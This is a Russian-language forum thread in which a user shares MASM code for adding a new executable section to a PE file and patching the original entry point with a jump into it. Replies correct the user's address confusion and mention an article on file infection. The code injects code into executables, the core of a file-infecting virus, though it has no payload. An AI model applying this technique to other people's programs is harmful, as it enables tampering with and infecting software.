Доброго времени суток. Создаю в РЕ-файле новую секцию и хочу передать туда управление. При изменении точки входа на начало нужной секции все работает. Но хотелось бы на оригинальной точке входа сделать джамп на мою секцию. Не получается. Код: Код (Text): ... mov eax, [edi].AddressOfEntryPoint add eax, [edi].ImageBase mov OLD_EP, eax mov esi, OLD_EP lea edi, _saved_bytes mov ecx, 5 rep movsb mov edi, OLD_EP lea esi, _jump movsb mov eax, NEW_EP stosd ... _saved_bytes db 00,00,00,00,00 _jump db 0E9h ... как я понимаю делать нужно примерно так (или нет?). NEW_EP - это начало новой секции? благодарю за внимание
сделал так: Код (Text): mov edi, Old_EP xor eax, eax mov al, 0E9h stosb mov eax, NEW_EIP sub eax, Old_EP add eax, 5 stosd все равно мой код не получает управления...
вот: Код (Text): mov edi, Old_EP xor eax, eax mov al, 0E9h stosb mov ebx, OLD_EIP add ebx, 5 mov eax, NEW_EIP sub eax, ebx stosd все равно не получается...
вобщем есле мои догатки верны, то попробуйте отнять ImageBase исчо текущий... а впринцепе гоуту отладчек + РТФМ
отнятл ImageBase и ничего не меняется. вот код функции полностью, так и немогу к сожалению разобраться... Код (Text): section_add proc lpCode, _Size : DWORD ; open file call _open_file inc eax jz _err_open dec eax P2P hFile, eax ; file size push 0 push eax call GetFileSize P2P fSize, eax add eax, SECTION_SIZE ; create map call _create_map test eax, eax jz _err_map P2P hMapped, eax ; map file call _map_file test eax, eax jz _err_mapping P2P hFileImage, eax P2P edi, eax ; check PE cmp word ptr [edi], 5A4Dh jnz _err_not_pe add edi, dword ptr [edi + 3Ch] cmp word ptr [edi], 4550h jnz _err_not_pe ; get header data add edi, 4 xor eax, eax mov ax, word ptr [edi + 2] P2P NumberOfSections, eax inc word ptr [edi + 2] add edi, 14h assume edi : ptr IMAGE_OPTIONAL_HEADER P2P eax, [edi].AddressOfEntryPoint P2P ImageBase, [edi].ImageBase add eax, ImageBase P2P OLD_EIP, eax mov eax, [edi].SizeOfImage mov SizeOfImage, eax add [edi].SizeOfImage, SECTION_SIZE ; delete bounds lea edi, [edi].DataDirectory mov eax, IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT imul eax, 8 add edi, eax cld xor eax, eax mov ecx, sizeof IMAGE_DATA_DIRECTORY rep stosb assume edi : nothing mov edi, hFileImage add edi, dword ptr [edi + 3Ch] add edi, 0F8h P2P eax, 28h P2P ecx, NumberOfSections imul ecx add edi, eax mov NEW_EIP, edi ; add section assume edi : ptr _IMAGE_SECTION_HEADER mov dword ptr [edi]._name, "XXX." mov eax, SECTION_SIZE mov [edi].vsz, eax mov eax, SizeOfImage mov [edi].voff, eax mov eax, _Size mov [edi].sz, eax mov eax, fSize mov [edi].off, eax mov [edi]._char, 0E0000020h assume edi : nothing ; write code mov edi, hFileImage add edi, fSize lea esi, lpCode mov ecx, _Size rep movsb ; write jump mov edi, OLD_EIP P2P eax, 0E9h stosb mov ebx, OLD_EIP add ebx, 5 mov eax, NEW_EIP sub eax, ImageBase sub eax, ebx stosd xor eax, eax _unmap_file: push eax push hFileImage call UnmapViewOfFile pop eax _close_map: push eax push hMapped call CloseHandle pop eax _close_file: push eax push hFile call CloseHandle pop eax ret ; ----- E R R O R M E S S A G E S ----- _err_open: P2P eax, ERROR_OPEN ret _err_map: P2P eax, ERROR_OPEN jmp _close_file _err_mapping: P2P eax, ERROR_OPEN jmp _close_map _err_not_pe: P2P eax, ERROR_NOT_PE jmp _unmap_file ;###################################################################### ; eax - map handle _map_file: push 0 push 0 push 0 push 2h ; FILE_MAP_WRITE push eax call MapViewOfFile retn ; eax - size _create_map: push 0 push eax push 0 push 4 ; PAGE_READWRITE push 0 push hFile call CreateFileMappingA retn ; edi - file name _open_file: push 0 push 80h ; FILE_ATTRIBUTE_NORMAL push 3 ; OPEN_EXISTING push 0 push 3h ; FILE_SHARE_READ + FILE_SHARE_WRITE push 0C0000000h ; GENERIC_READ + GENERIC_WRITE push edi call CreateFileA retn section_add endp
Блин, нихрена не пойму. У тебя че, NEW_IP указывает на заголовок твоей секции??? Он должен указывать не на offset заголовка секции, а на va самой секции... Короче, рано тебе еще секции внедрять. Потренируйся пока что увеличивать последнюю секцию.
ога. и чото мне кажется, что код пишется методом научного тыка... потомучто причину сбойа в отладчеке видно практически сразу имхо.
не пишется джамп. что делать? Код (Text): mov edi, OLD_EIP mov al, 0E9h stosb mov eax, NEW_EIP mov ebx, OLD_EIP add ebx, 5 sub eax, ebx stosd запускаю тестовую прогу в которую пишу - стартует по оригинальному EP. Как быть?
получил из offset заголовка секции va секции, но не могу изменить оригинальную EP... вроде и меняю как надо, а не меняется. в чем может быть проблема?
)) а если серьезно? почему не меняется ЕР? даже: Код (Text): mov edi, OLD_EIP mov al, 0E9h stosb mov eax, 0FFFFFFFFh stosd не записывается. уж и не знаю как быть... может я туплю, дык подскажите что не так
а что видно в отладчике? что пишет? куда указывает edi? ты, надеюсь, не забываешь, что прибавить базу образа к RVA EP и прибавить базу образа к offset EP - это разные вещи. Как я понял, ты берешь из заголовка RVA точки входа и прибавляешь базу образа. Ты получаешь VA точки входа. НО с этим адресом нельзя работать!!! Тебе нужен Offset, а не VA. Повторюсь еще раз - начни с увеличения последней секции. Только тогда поймешь, что такое заголовки секций, отличие VA от RVA и Offset и т.д. На васме есть хорошая статья про заражение.